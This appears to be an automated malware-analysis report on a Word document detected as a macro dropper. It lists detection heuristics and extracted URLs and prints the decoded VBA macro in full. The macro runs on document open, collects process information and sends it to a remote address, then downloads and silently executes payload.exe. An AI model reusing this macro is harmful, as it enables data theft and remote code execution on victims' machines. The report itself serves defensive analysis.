MALICIOUS
470
Risk Score
Heuristics 10
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ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
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VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim shell As Object -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set shell = CreateObject("WScript.Shell") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
psCommand = "powershell.exe -Command ""Get-WmiObject -Query 'SELECT * FROM Win32_Process' | ForEach-Object { $_.ProcessName + ' ' + $_.ProcessId + ' ' + $_.ExecutablePath } | Out-String | ForEach-Object { [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($_)) }""" -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
adoStream.Write xmlHTTP.ResponseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shell = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://10.222.6.128/receiver.php?data= Referenced by macro
- http://10.222.6.128/payload.exeReferenced by macro
- https://[Substrate.BaseHost]/search/api/v1/recommendationsReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.microsoft.com/office/2019/extlstReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1818 bytes |
SHA-256: 1f112c341ed50b6100fb56384bcd54144f811a9c178b8f3cf189dad3adec3883 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
' Discovery: Get process information using PowerShell
Dim psCommand As String
psCommand = "powershell.exe -Command ""Get-WmiObject -Query 'SELECT * FROM Win32_Process' | ForEach-Object { $_.ProcessName + ' ' + $_.ProcessId + ' ' + $_.ExecutablePath } | Out-String | ForEach-Object { [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($_)) }"""
Dim processInfo As String
processInfo = shell.Exec(psCommand).StdOut.ReadAll
' C2: Send the discovery data to the remote server
Dim http As Object
Set http = CreateObject("MSXML2.XMLHTTP")
http.Open "GET", "http://10.222.6.128/receiver.php?data=" & processInfo, False
http.Send
' Execution: Download and execute a payload
Dim payloadURL As String
payloadURL = "http://10.222.6.128/payload.exe"
Dim payloadPath As String
payloadPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\payload.exe"
Dim xmlHTTP As Object
Set xmlHTTP = CreateObject("MSXML2.XMLHTTP")
xmlHTTP.Open "GET", payloadURL, False
xmlHTTP.Send
Dim adoStream As Object
Set adoStream = CreateObject("ADODB.Stream")
adoStream.Type = 1 ' adTypeBinary
adoStream.Open
adoStream.Write xmlHTTP.ResponseBody
adoStream.SaveToFile payloadPath, 2 ' adSaveCreateOverWrite
' Execute the downloaded payload
shell.Run payloadPath, 0, True
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 10240 bytes |
SHA-256: 605070b771e8ac25a4a3ac7c2bf6c5bc2fe6a6c70cc4ea1da88eb6333212add9 |
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Detection
ClamAV:
Doc.Dropper.Agent-6412232-1
Obfuscation or payload:
unlikely
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